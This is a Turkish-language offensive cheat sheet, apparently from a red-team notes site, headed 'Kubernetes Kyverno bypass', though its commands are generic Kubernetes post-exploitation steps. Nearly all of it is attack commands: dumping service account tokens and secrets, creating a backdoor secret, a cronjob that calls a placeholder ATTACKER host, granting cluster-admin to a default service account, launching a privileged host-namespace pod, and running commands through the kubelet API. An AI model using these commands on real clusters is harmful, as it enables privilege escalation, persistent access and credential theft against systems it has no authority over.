Kubernetes Kyverno bypass
K8s post-ex
Kubernetes Kyverno bypass — Kubernetes / OpenShift ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
kubectl config current-contextkubectl auth can-i --listcat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40Hedef komutlar
Section titled “Hedef komutlar”Kubernetes Kyverno bypass için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
kubectl auth can-i create pods --all-namespaceskubectl auth can-i get secrets --all-namespaceskubectl auth can-i create clusterrolebindingkubectl get nskubectl get pods,sa,secrets,roles,rolebindings -Akubectl get clusterroles,clusterrolebindingskubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'cat /var/run/secrets/kubernetes.io/serviceaccount/tokenTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaceskubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -ukubectl create -f evil-pod.yamlkubectl exec -it POD -n NS -- /bin/shKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
kubectl create secret generic backdoor --from-literal=token=xkubectl create cronjob pwn --image=alpine --schedule='*/30 * * * *' -- /bin/sh -c 'curl ATTACKER'kubectl apply -f - <<'EOF'apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: stealthroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects:- kind: ServiceAccount name: default namespace: kube-systemEOFSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txtEk komutlar
Section titled “Ek komutlar”kubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'curl -k https://$NODE:10250/runningpods/curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurationskubectl get networkpolicies -Akubectl get scc 2>/dev/null || oc get scckubectl auth can-i --list